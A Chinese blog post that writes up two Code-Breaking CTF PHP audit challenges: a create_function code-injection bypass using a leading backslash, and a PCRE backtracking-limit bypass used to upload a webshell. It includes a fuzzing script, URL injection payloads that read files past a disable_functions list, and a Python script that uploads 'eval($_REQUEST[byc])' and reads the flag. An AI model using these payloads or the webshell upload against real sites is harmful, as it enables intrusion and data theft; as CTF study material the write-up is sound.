美文网首页
代码审计知识星球——easy-function&pcrewaf

代码审计知识星球——easy-function&pcrewaf

作者: byc_404 | 来源:发表于2020-01-15 12:52 被阅读0次

原本看到代码审计知识星球的内容时就很感兴趣,准备自己本地复现的。结果docker跟docker-compose下好了后郁师傅直接公网上搭好了四道easy难度的审计题目叫我们做hhh。

codebreaking的网站
https://code-breaking.com/
参考阅读了sky一叶飘零师傅的几篇博文:
https://skysec.top/2019/03/10/2018-Code-Breaking-1-function/

源码跟dockerfile可以在github上下,我自己没有docker知识储备的情况下也能依葫芦画瓢在本地搭好,大家也都可以试试自己做做呀。

function

第一道题目,php代码审计之function。
先放源码:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
?>

老实说第一题确实难到我了,开始前两行差点以为是代码出错了......后来了解到??三元运算符的存在,也就是说:

$action = $_GET['action'] ?? '';

等价于

$action = $_GET['action'] ? $_GET['action'] :'';

改成双目运算符就好看多了,作用也就和我们原来的isset()差不多,有输入取输入,否则为空。

然后就是正则部分了

preg_match('/^[a-z0-9_]*$/isD

其中修饰符

/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[ \f\n\r\t\v]
/D 如果使用$限制结尾字符,则不允许结尾有换行;

不得不说实在是完备。数字,字母,下划线都过滤了,空格换行也没了,根本不知道有什么能够匹配的。如果从preg_match()的角度来讲,我们熟悉的是%0a开头,这样可以使preg_match()得结果判断为真。但此处为了达成命令执行的目的,必须使preg_match()判断为假才能到下面的else语句里面。所以,应该想着怎么顺应这个思路走下去。

这时候就得靠想的了。可以选择用burpsuite去爆破,但是我好像没有这样的字典......所以参考sky师傅改的脚本:

import requests

#url='http://139.199.203.253:8087/?action=&arg='
for i in range(1,256):
    tmp = hex(i)[2:]
    if len(tmp) < 2:
        tmp = '0' + hex(i)[2:]
    tmp = '%' + tmp
    url='http://139.199.203.253:8087/?action='+tmp+'var_dump&arg=123'
    r=requests.get(url=url)
    if '123' in r.text:
        print(r.text)
        print(tmp)
        break

FUZZ出来发现%5c可以直接绕过,而%5c就是\,为什么%5c可以绕过呢?p牛解释如下:

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。
普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

看了后感觉一知半解,于是又看看其他的解释,大概明白了:


调用的相当于是全局的函数

那我们就相当于解决了第一个问题,下面来想想如何解决命令执行第二步:$action()应当是两个参数的函数。
发现sky师傅写的php代码注入相当全面啊
https://skysec.top/2018/03/09/php-command%20or%20code-injection-summary/
于是知道了create_function这一函数,稍微了解了其原理:

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

相当于

function test($a,$b)
{
    return "ln($a) + ln($b) = " . log($a * $b);
}

那对本题的$action('', $arg),假如令arg=echo ('Hello');}phpinfo();/*相当于

function test($a,$b){
  echo('Hello');
}phpinfo();/*

即可执行phpinfo()命令。

于是尝试使用system('ls')看看目录,果然发现system()被禁止了。 system('ls')

同样的还有exec()等等,实际上后来看源码里的disablefunction有:

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

基本全过滤了嘛......好在通常print_r()与scandir()不会被过滤,昨天刚用过,于是试一下。在本目录看到index.php,在上级目录看到flag。
payload:

/?action=%5ccreate_function&arg=return%20%222333%22;}print_r(scandir(%27..%27));/*
/?action=%5ccreate_function&arg=return%20"2333";}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*
flag

pcrewaf

第二道题则是正则回溯攻击,实际上之前也了接过这种方式,但是一直没有遇到相关题目......先看源码

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1

题目的pcre已经告诉我们了重点在于正则上。实际上从源码可以看出,有一个用于判断是否是php代码的函数。而整体流程允许用户上传文件,之后被file_get_contents()读取,如果文件内容有php代码就失败。否则创建目录,并生成保存我们的文件。
既然如此,我们的最终目的当然是通过上传文件getshell了。而想要getshell,过正则是必须的。因此重心还是放在绕过正则上。
那么这个正则如何通过呢

preg_match('/<\?.*[(`;?>].*/is', $data)

首先就看到它匹配了<,? 这样的常规php开头,那么我们能否使用<%=或者<script language="php">绕过呢?貌似因为php版本号所以不行。那要如何绕过这一正则吃成为了难题。
于是找到p牛本人的文章:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
其中提到NFA(非确定性有限状态自动机)的部分就不表了,了解到的正则匹配原来存在回溯问题。对题目已有正则,和测试语句,以及sublime的正则匹配模式(ctrl+h开启)

<?php phpinfo(); ?>;//aaaaaaaaaa

正则匹配到<?时只需要


<?

而之后


<?.*

也就是说 .*就已经把后面的输入语句全部匹配完了,但是正则还没有结束,这时继续匹配[(`;?>]时,它就会开始回溯,显然//aaaaaaaaaa是匹配不上这一表达式中的符号的,那么正则就会一直回溯,直到匹配到;分号才能继续下去。
而这居然也可以当做漏洞利用!因为这一回溯的次数是有限的,所以如果回溯超过上限......preg_match()就会返回false,也就绕过了正则。
(奇淫技巧大概如此吧,真的太神奇了。)

那么利用就很清晰了,我们把//aaa多整点就可以打破回溯上限攻击。脚本如下(sky师傅的只适用python2吧,我小改了一下):

import requests
from io import BytesIO

url='http://139.199.203.253:8088/'
payload='<?php eval($_REQUEST[byc]);//'+'a' * 1000000
files = {
  'file':BytesIO(payload.encode('utf-8'))
}

r=requests.post(url=url,files=files,allow_redirects=False)
path=r.headers['Location']
url+=path
data = {
    #'byc':"print_r(scandir('../../../'));"
     'byc':"var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));"
}
r=requests.post(url,data)
print(r.text)

扫到上上上级拿到目录,之后直接读取即可


flag

不得不说这些题目技巧性非常强,也很长见识。看似可能的waf存在无限的可能。这就是安全人的思考角度吧。
还有两道明天写吧,明天就回武汉了hhh

相关文章

  • 代码审计知识星球——easy-function&pcrewaf

    原本看到代码审计知识星球的内容时就很感兴趣,准备自己本地复现的。结果docker跟docker-compose下好...

  • 代码审计知识星球——easy-phplimit&phpmagic

    今天把剩下的两道审计题目过一遍 phplimit 实在是令人惊讶,一看到题目就发现居然是自己前几天才整理过的无参R...

  • Code-Breaking Puzzles easy学习篇

    代码审计知识星球二周年,P牛出了几道质量相当贼很高的题目,个人实力比较菜,这里记录一哈复现收获,当然也欢迎加入【代...

  • 【代码审计】-基础知识

    0x01:漏洞的利用效果取决于最终函数的功能 找漏洞==找对应变量与函数:变量跟踪的过程 0x02:分析漏洞形成的...

  • 【代码审计】PHP代码审计

    1. 概述 代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应用程序在开发阶段存在的一...

  • 攻防世界-Web-NaNNaNNaNNaN-Batmaner

    题目信息: 知识点:js代码(eval函数,alert函数,splice函数),正则,代码审计 下载附件,是一个文...

  • 【代码审计】Maven 基础知识

    0x00 前言 Maven 是一个项目构建和管理工具,利用它可以对 JAVA 项目进行构建和管理。 Maven 采...

  • 代码审计

    代码审计工具 1、三款自动化代码审计工具教程2、seay源代码审计系统 PHP核心配置详解 注意PHP各个版本中配...

  • 🎐代码审计

    ?源代码审计分为白盒、黑盒、灰盒 白盒:拥有源代码进行审计黑盒:不知道源代码的情况下进行渗透审计灰盒:介于黑盒与白...

  • 2021-12-06-java代码审计初步认知

    一、代码审计的定义代码审计是一种以发现安全漏洞,程序错误和程序违规为目标的源代码分析技能。 二、代码审计需要的能力...

网友评论

      本文标题:代码审计知识星球——easy-function&pcrewaf

      本文链接:https://www.haomeiwen.com/subject/qdxtzctx.html